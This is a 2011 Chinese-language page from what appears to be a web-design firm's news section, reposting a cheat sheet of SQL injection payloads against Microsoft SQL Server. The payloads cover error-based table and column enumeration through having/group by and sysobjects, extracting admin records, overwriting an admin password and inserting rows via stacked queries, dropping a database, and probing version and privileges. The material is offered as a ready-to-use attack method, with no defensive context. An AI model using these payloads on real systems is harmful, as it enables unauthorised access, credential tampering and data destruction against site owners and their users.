良好的知名度和信誉度,经验丰富的团队!

多年来我们为不同行业的知名企业进行了网络品牌重塑,一路的学习、摸索、沉淀、创新,让我们更自信和充满活力。
提升客户品牌形象、实现客户的商业目标是亿络永恒的追求!

详细内容
当前位置:首页 > 新闻资讯 > 互联网新闻

mssql暴表暴列注入方法

标签:  来源:  发布时间:2011-12-15 22:26:24

mssql暴表暴列注入方法
注入点:id=1
and user>0 //得到数据库用户名
having 1=1-- //得到当前用户的数据信息,类似于aaa.bbb的格式,aaa是表名,bbb是列名。
group by 用户信息 having 1=1-- //继续得到一个列。
group by 信息1,信息2 having 1=1-- //继续
原理:在SQL语句中,having 1=1--是和group by结合使用并进行条件判断的,如果语句不完整,数据库就会返回错误信息,并显示一个表名一个列名。
暴出任意表名
and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc)>1 //N代表数据库中的第几个表。
暴出表的的任意列。
and (select top 1 col_name(object_id('表名'),N)from sysobjects)>1 //N代表第几列。
暴出数据
and (select top 1 adminname from admin where id=1)>1 //N 代表第几条数据
修改数据
;update 表名 set 列名='内容' where 条件
;update admin set userpass='123456' where id=1

插入数据
;insert into 表名 values (内容)--
;insert into admin values (3800hk,123456)--
删除数据库
drop database 数据库名
获得数据库版本
and (select @@version)>0
获得当前数据库名
and db_name()>0
and user>0也可以用来判断权限,例如返回public说明是public权限
判断是否支持多句查询
;declare @a int--
判断是否支持子查询
and (select count(1) from [sysobjects])>=0

分享到:
业务咨询
点击这里给我发消息
业务咨询
点击这里给我发消息
技术支持
点击这里给我发消息